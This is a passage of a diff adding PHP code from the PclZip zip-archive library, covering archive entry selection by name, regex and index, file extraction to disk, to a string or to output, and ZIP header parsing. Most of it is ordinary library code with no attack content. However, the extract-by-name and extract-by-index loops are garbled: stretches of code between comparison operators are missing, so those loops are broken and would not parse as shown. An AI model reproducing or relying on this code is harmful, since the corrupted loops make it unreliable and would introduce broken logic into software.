Start at beginning of Central Dir + $v_pos_entry = $v_central_dir['offset']; + + // ----- Read each entry + $j_start = 0; + for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) + { + + // ----- Read next Central dir entry + @rewind($this->zip_fd); + if (@fseek($this->zip_fd, $v_pos_entry)) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the file header + $v_header = array(); + if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + return $v_result; + } + + // ----- Store the index + $v_header['index'] = $i; + + // ----- Store the file position + $v_pos_entry = ftell($this->zip_fd); + + // ----- Look for the specific extract rules + $v_extract = false; + + // ----- Look for extract by name rule + if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) + && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { + + // ----- Look if the filename is in the list + for ($j=0; ($j strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) + && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { + $v_extract = true; + } + } + // ----- Look for a filename + elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { + $v_extract = true; + } + } + } + + // ----- Look for extract by ereg rule + // ereg() is deprecated with PHP 5.3 + /* + else if ( (isset($p_options[PCLZIP_OPT_BY_EREG])) + && ($p_options[PCLZIP_OPT_BY_EREG] != "")) { + + if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) { + $v_extract = true; + } + } + */ + + // ----- Look for extract by preg rule + else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) + && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { + + if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) { + $v_extract = true; + } + } + + // ----- Look for extract by index rule + else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) + && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { + + // ----- Look if the index is in the list + for ($j=$j_start; ($j=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { + $v_extract = true; + } + if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { + $j_start = $j+1; + } + + if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { + break; + } + } + } + + // ----- Look for no rule, which means extract all the archive + else { + $v_extract = true; + } + + // ----- Check compression method + if ( ($v_extract) + && ( ($v_header['compression'] != 8) + && ($v_header['compression'] != 0))) { + $v_header['status'] = 'unsupported_compression'; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + $this->privSwapBackMagicQuotes(); + + PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, + "Filename '".$v_header['stored_filename']."' is " + ."compressed by an unsupported compression " + ."method (".$v_header['compression'].") "); + + return PclZip::errorCode(); + } + } + + // ----- Check encrypted files + if (($v_extract) && (($v_header['flag'] & 1) == 1)) { + $v_header['status'] = 'unsupported_encryption'; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + $this->privSwapBackMagicQuotes(); + + PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, + "Unsupported encryption for " + ." filename '".$v_header['stored_filename'] + ."'"); + + return PclZip::errorCode(); + } + } + + // ----- Look for real extraction + if (($v_extract) && ($v_header['status'] != 'ok')) { + $v_result = $this->privConvertHeader2FileInfo($v_header, + $p_file_list[$v_nb_extracted++]); + if ($v_result != 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + $v_extract = false; + } + + // ----- Look for real extraction + if ($v_extract) + { + + // ----- Go to the file position + @rewind($this->zip_fd); + if (@fseek($this->zip_fd, $v_header['offset'])) + { + // ----- Close the zip file + $this->privCloseFd(); + + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for extraction as string + if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) { + + $v_string = ''; + + // ----- Extracting the file + $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options); + if ($v_result1 < 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result1; + } + + // ----- Get the only interesting attributes + if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + return $v_result; + } + + // ----- Set the file content + $p_file_list[$v_nb_extracted]['content'] = $v_string; + + // ----- Next extracted file + $v_nb_extracted++; + + // ----- Look for user callback abort + if ($v_result1 == 2) { + break; + } + } + // ----- Look for extraction in standard output + elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) + && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) { + // ----- Extracting the file in standard output + $v_result1 = $this->privExtractFileInOutput($v_header, $p_options); + if ($v_result1 < 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result1; + } + + // ----- Get the only interesting attributes + if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + // ----- Look for user callback abort + if ($v_result1 == 2) { + break; + } + } + // ----- Look for normal extraction + else { + // ----- Extracting the file + $v_result1 = $this->privExtractFile($v_header, + $p_path, $p_remove_path, + $p_remove_all_path, + $p_options); + if ($v_result1 < 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result1; + } + + // ----- Get the only interesting attributes + if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + return $v_result; + } + + // ----- Look for user callback abort + if ($v_result1 == 2) { + break; + } + } + } + } + + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractFile() + // Description : + // Parameters : + // Return Values : + // + // 1 : ... ? + // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback + // -------------------------------------------------------------------------------- + function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) + { + $v_result=1; + + // ----- Read the file header + if (($v_result = $this->privReadFileHeader($v_header)) != 1) + { + // ----- Return + return $v_result; + } + + + // ----- Check that the file header is coherent with $p_entry info + if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { + // TBC + } + + // ----- Look for all path to remove + if ($p_remove_all_path == true) { + // ----- Look for folder entry that not need to be extracted + if (($p_entry['external']&0x00000010)==0x00000010) { + + $p_entry['status'] = "filtered"; + + return $v_result; + } + + // ----- Get the basename of the path + $p_entry['filename'] = basename($p_entry['filename']); + } + + // ----- Look for path to remove + else if ($p_remove_path != "") + { + if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2) + { + + // ----- Change the file status + $p_entry['status'] = "filtered"; + + // ----- Return + return $v_result; + } + + $p_remove_path_size = strlen($p_remove_path); + if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path) + { + + // ----- Remove the path + $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size); + + } + } + + // ----- Add the path + if ($p_path != '') { + $p_entry['filename'] = $p_path."/".$p_entry['filename']; + } + + // ----- Check a base_dir_restriction + if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) { + $v_inclusion + = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], + $p_entry['filename']); + if ($v_inclusion == 0) { + + PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, + "Filename '".$p_entry['filename']."' is " + ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION"); + + return PclZip::errorCode(); + } + } + + // ----- Look for pre-extract callback + if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); + if ($v_result == 0) { + // ----- Change the file status + $p_entry['status'] = "skipped"; + $v_result = 1; + } + + // ----- Look for abort result + if ($v_result == 2) { + // ----- This status is internal and will be changed in 'skipped' + $p_entry['status'] = "aborted"; + $v_result = PCLZIP_ERR_USER_ABORTED; + } + + // ----- Update the informations + // Only some fields can be modified + $p_entry['filename'] = $v_local_header['filename']; + } + + + // ----- Look if extraction should be done + if ($p_entry['status'] == 'ok') { + + // ----- Look for specific actions while the file exist + if (file_exists($p_entry['filename'])) + { + + // ----- Look if file is a directory + if (is_dir($p_entry['filename'])) + { + + // ----- Change the file status + $p_entry['status'] = "already_a_directory"; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + // For historical reason first PclZip implementation does not stop + // when this kind of error occurs. + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, + "Filename '".$p_entry['filename']."' is " + ."already used by an existing directory"); + + return PclZip::errorCode(); + } + } + // ----- Look if file is write protected + else if (!is_writeable($p_entry['filename'])) + { + + // ----- Change the file status + $p_entry['status'] = "write_protected"; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + // For historical reason first PclZip implementation does not stop + // when this kind of error occurs. + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, + "Filename '".$p_entry['filename']."' exists " + ."and is write protected"); + + return PclZip::errorCode(); + } + } + + // ----- Look if the extracted file is older + else if (filemtime($p_entry['filename']) > $p_entry['mtime']) + { + // ----- Change the file status + if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER])) + && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) { + } + else { + $p_entry['status'] = "newer_exist"; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + // For historical reason first PclZip implementation does not stop + // when this kind of error occurs. + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, + "Newer version of '".$p_entry['filename']."' exists " + ."and option PCLZIP_OPT_REPLACE_NEWER is not selected"); + + return PclZip::errorCode(); + } + } + } + else { + } + } + + // ----- Check the directory availability and create it if necessary + else { + if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/')) + $v_dir_to_check = $p_entry['filename']; + else if (!strstr($p_entry['filename'], "/")) + $v_dir_to_check = ""; + else + $v_dir_to_check = dirname($p_entry['filename']); + + if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) { + + // ----- Change the file status + $p_entry['status'] = "path_creation_fail"; + + // ----- Return + //return $v_result; + $v_result = 1; + } + } + } + + // ----- Look if extraction should be done + if ($p_entry['status'] == 'ok') { + + // ----- Do the extraction (if not a folder) + if (!(($p_entry['external']&0x00000010)==0x00000010)) + { + // ----- Look for not compressed file + if ($p_entry['compression'] == 0) { + + // ----- Opening destination file + if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) + { + + // ----- Change the file status + $p_entry['status'] = "write_error"; + + // ----- Return + return $v_result; + } + + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + $v_size = $p_entry['compressed_size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($this->zip_fd, $v_read_size); + /* Try to speed up the code + $v_binary_data = pack('a'.$v_read_size, $v_buffer); + @fwrite($v_dest_file, $v_binary_data, $v_read_size); + */ + @fwrite($v_dest_file, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Closing the destination file + fclose($v_dest_file); + + // ----- Change the file mtime + touch($p_entry['filename'], $p_entry['mtime']); + + + } + else { + // ----- TBC + // Need to be finished + if (($p_entry['flag'] & 1) == 1) { + PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.'); + return PclZip::errorCode(); + } + + + // ----- Look for using temporary file to unzip + if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) + && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) + || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) + && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) { + $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options); + if ($v_result < PCLZIP_ERR_NO_ERROR) { + return $v_result; + } + } + + // ----- Look for extract in memory + else { + + + // ----- Read the compressed file in a buffer (one shot) + $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); + + // ----- Decompress the file + $v_file_content = @gzinflate($v_buffer); + unset($v_buffer); + if ($v_file_content === FALSE) { + + // ----- Change the file status + // TBC + $p_entry['status'] = "error"; + + return $v_result; + } + + // ----- Opening destination file + if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { + + // ----- Change the file status + $p_entry['status'] = "write_error"; + + return $v_result; + } + + // ----- Write the uncompressed data + @fwrite($v_dest_file, $v_file_content, $p_entry['size']); + unset($v_file_content); + + // ----- Closing the destination file + @fclose($v_dest_file); + + } + + // ----- Change the file mtime + @touch($p_entry['filename'], $p_entry['mtime']); + } + + // ----- Look for chmod option + if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) { + + // ----- Change the mode of the file + @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]); + } + + } + } + + // ----- Change abort status + if ($p_entry['status'] == "aborted") { + $p_entry['status'] = "skipped"; + } + + // ----- Look for post-extract callback + elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); + + // ----- Look for abort result + if ($v_result == 2) { + $v_result = PCLZIP_ERR_USER_ABORTED; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractFileUsingTempFile() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privExtractFileUsingTempFile(&$p_entry, &$p_options) + { + $v_result=1; + + // ----- Creates a temporary file + $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; + if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) { + fclose($v_file); + PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); + return PclZip::errorCode(); + } + + + // ----- Write gz file format header + $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3)); + @fwrite($v_dest_file, $v_binary_data, 10); + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + $v_size = $p_entry['compressed_size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($this->zip_fd, $v_read_size); + //$v_binary_data = pack('a'.$v_read_size, $v_buffer); + @fwrite($v_dest_file, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Write gz file format footer + $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']); + @fwrite($v_dest_file, $v_binary_data, 8); + + // ----- Close the temporary file + @fclose($v_dest_file); + + // ----- Opening destination file + if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { + $p_entry['status'] = "write_error"; + return $v_result; + } + + // ----- Open the temporary gz file + if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) { + @fclose($v_dest_file); + $p_entry['status'] = "read_error"; + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); + return PclZip::errorCode(); + } + + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + $v_size = $p_entry['size']; + while ($v_size != 0) { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @gzread($v_src_file, $v_read_size); + //$v_binary_data = pack('a'.$v_read_size, $v_buffer); + @fwrite($v_dest_file, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + @fclose($v_dest_file); + @gzclose($v_src_file); + + // ----- Delete the temporary file + @unlink($v_gzip_temp_name); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractFileInOutput() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privExtractFileInOutput(&$p_entry, &$p_options) + { + $v_result=1; + + // ----- Read the file header + if (($v_result = $this->privReadFileHeader($v_header)) != 1) { + return $v_result; + } + + + // ----- Check that the file header is coherent with $p_entry info + if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { + // TBC + } + + // ----- Look for pre-extract callback + if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); + if ($v_result == 0) { + // ----- Change the file status + $p_entry['status'] = "skipped"; + $v_result = 1; + } + + // ----- Look for abort result + if ($v_result == 2) { + // ----- This status is internal and will be changed in 'skipped' + $p_entry['status'] = "aborted"; + $v_result = PCLZIP_ERR_USER_ABORTED; + } + + // ----- Update the informations + // Only some fields can be modified + $p_entry['filename'] = $v_local_header['filename']; + } + + // ----- Trace + + // ----- Look if extraction should be done + if ($p_entry['status'] == 'ok') { + + // ----- Do the extraction (if not a folder) + if (!(($p_entry['external']&0x00000010)==0x00000010)) { + // ----- Look for not compressed file + if ($p_entry['compressed_size'] == $p_entry['size']) { + + // ----- Read the file in a buffer (one shot) + $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); + + // ----- Send the file to the output + echo $v_buffer; + unset($v_buffer); + } + else { + + // ----- Read the compressed file in a buffer (one shot) + $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); + + // ----- Decompress the file + $v_file_content = gzinflate($v_buffer); + unset($v_buffer); + + // ----- Send the file to the output + echo $v_file_content; + unset($v_file_content); + } + } + } + + // ----- Change abort status + if ($p_entry['status'] == "aborted") { + $p_entry['status'] = "skipped"; + } + + // ----- Look for post-extract callback + elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); + + // ----- Look for abort result + if ($v_result == 2) { + $v_result = PCLZIP_ERR_USER_ABORTED; + } + } + + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractFileAsString() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privExtractFileAsString(&$p_entry, &$p_string, &$p_options) + { + $v_result=1; + + // ----- Read the file header + $v_header = array(); + if (($v_result = $this->privReadFileHeader($v_header)) != 1) + { + // ----- Return + return $v_result; + } + + + // ----- Check that the file header is coherent with $p_entry info + if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { + // TBC + } + + // ----- Look for pre-extract callback + if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); + if ($v_result == 0) { + // ----- Change the file status + $p_entry['status'] = "skipped"; + $v_result = 1; + } + + // ----- Look for abort result + if ($v_result == 2) { + // ----- This status is internal and will be changed in 'skipped' + $p_entry['status'] = "aborted"; + $v_result = PCLZIP_ERR_USER_ABORTED; + } + + // ----- Update the informations + // Only some fields can be modified + $p_entry['filename'] = $v_local_header['filename']; + } + + + // ----- Look if extraction should be done + if ($p_entry['status'] == 'ok') { + + // ----- Do the extraction (if not a folder) + if (!(($p_entry['external']&0x00000010)==0x00000010)) { + // ----- Look for not compressed file + // if ($p_entry['compressed_size'] == $p_entry['size']) + if ($p_entry['compression'] == 0) { + + // ----- Reading the file + $p_string = @fread($this->zip_fd, $p_entry['compressed_size']); + } + else { + + // ----- Reading the file + $v_data = @fread($this->zip_fd, $p_entry['compressed_size']); + + // ----- Decompress the file + if (($p_string = @gzinflate($v_data)) === FALSE) { + // TBC + } + } + + // ----- Trace + } + else { + // TBC : error : can not extract a folder in a string + } + + } + + // ----- Change abort status + if ($p_entry['status'] == "aborted") { + $p_entry['status'] = "skipped"; + } + + // ----- Look for post-extract callback + elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Swap the content to header + $v_local_header['content'] = $p_string; + $p_string = ''; + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); + + // ----- Swap back the content to header + $p_string = $v_local_header['content']; + unset($v_local_header['content']); + + // ----- Look for abort result + if ($v_result == 2) { + $v_result = PCLZIP_ERR_USER_ABORTED; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privReadFileHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privReadFileHeader(&$p_header) + { + $v_result=1; + + // ----- Read the 4 bytes signature + $v_binary_data = @fread($this->zip_fd, 4); + $v_data = unpack('Vid', $v_binary_data); + + // ----- Check signature + if ($v_data['id'] != 0x04034b50) + { + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the first 42 bytes of the header + $v_binary_data = fread($this->zip_fd, 26); + + // ----- Look for invalid block size + if (strlen($v_binary_data) != 26) + { + $p_header['filename'] = ""; + $p_header['status'] = "invalid_header"; + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Extract the values + $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data); + + // ----- Get filename + $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']); + + // ----- Get extra_fields + if ($v_data['extra_len'] != 0) { + $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']); + } + else { + $p_header['extra'] = ''; + } + + // ----- Extract properties + $p_header['version_extracted'] = $v_data['version']; + $p_header['compression'] = $v_data['compression']; + $p_header['size'] = $v_data['size']; + $p_header['compressed_size'] = $v_data['compressed_size']; + $p_header['crc'] = $v_data['crc']; + $p_header['flag'] = $v_data['flag']; + $p_header['filename_len'] = $v_data['filename_len']; + + // ----- Recuperate date in UNIX format + $p_header['mdate'] = $v_data['mdate']; + $p_header['mtime'] = $v_data['mtime']; + if ($p_header['mdate'] && $p_header['mtime']) + { + // ----- Extract time + $v_hour = ($p_header['mtime'] & 0xF800) >> 11; + $v_minute = ($p_header['mtime'] & 0x07E0) >> 5; + $v_seconde = ($p_header['mtime'] & 0x001F)*2; + + // ----- Extract date + $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; + $v_month = ($p_header['mdate'] & 0x01E0) >> 5; + $v_day = $p_header['mdate'] & 0x001F; + + // ----- Get UNIX date format + $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); + + } + else + { + $p_header['mtime'] = time(); + } + + // TBC + //for(reset($v_data); $key = key($v_data); next($v_data)) { + //} + + // ----- Set the stored filename + $p_header['stored_filename'] = $p_header['filename']; + + // ----- Set the status field + $p_header['status'] = "ok"; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privReadCentralFileHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privReadCentralFileHeader(&$p_header) + { + $v_result=1; + + // ----- Read the 4 bytes signature + $v_binary_data = @fread($this->zip_fd, 4); + $v_data = unpack('Vid', $v_binary_data); + + // ----- Check signature + if ($v_data['id'] != 0x02014b50) + { + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the first 42 bytes of the header + $v_binary_data = fread($this->zip_fd, 42); + + // ----- Look for invalid block size + if (strlen($v_binary_data) != 42) + { + $p_header['filename'] = ""; + $p_header['status'] = "invalid_header"; + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Extract the values + $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data); + + // ----- Get filename + if ($p_header['filename_len'] != 0) + $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']); + else + $p_header['filename'] = ''; + + // ----- Get extra + if ($p_header['extra_len'] != 0) + $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']); + else + $p_header['extra'] = ''; + + // ----- Get comment + if ($p_header['comment_len'] != 0) + $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']); + else + $p_header['comment'] = ''; + + // ----- Extract properties + + // ----- Recuperate date in UNIX format + //if ($p_header['mdate'] && $p_header['mtime']) + // TBC : bug : this was ignoring time with 0/0/0 + if (1) + { + // ----- Extract time + $v_hour = ($p_header['mtime'] & 0xF800) >> 11; + $v_minute = ($p_header['mtime'] & 0x07E0) >> 5; + $v_seconde = ($p_header['mtime'] & 0x001F)*2; + + // ----- Extract date + $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; + $v_month = ($p_header['mdate'] & 0x01E0) >> 5; + $v_day = $p_header['mdate'] & 0x001F; + + // ----- Get UNIX date format + $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); + + } + else + { + $p_header['mtime'] = time(); + } + + // ----- Set the stored filename + $p_header['stored_filename'] = $p_header['filename']; + + // ----- Set default status to ok + $p_header['status'] = 'ok'; + + // ----- Look if it is a directory + if (substr($p_header['filename'], -1) == '/') { + //$p_header['external'] = 0x41FF0010; + $p_header['external'] = 0x00000010; + } + + + // ----- Return + return $v_result; + } + // 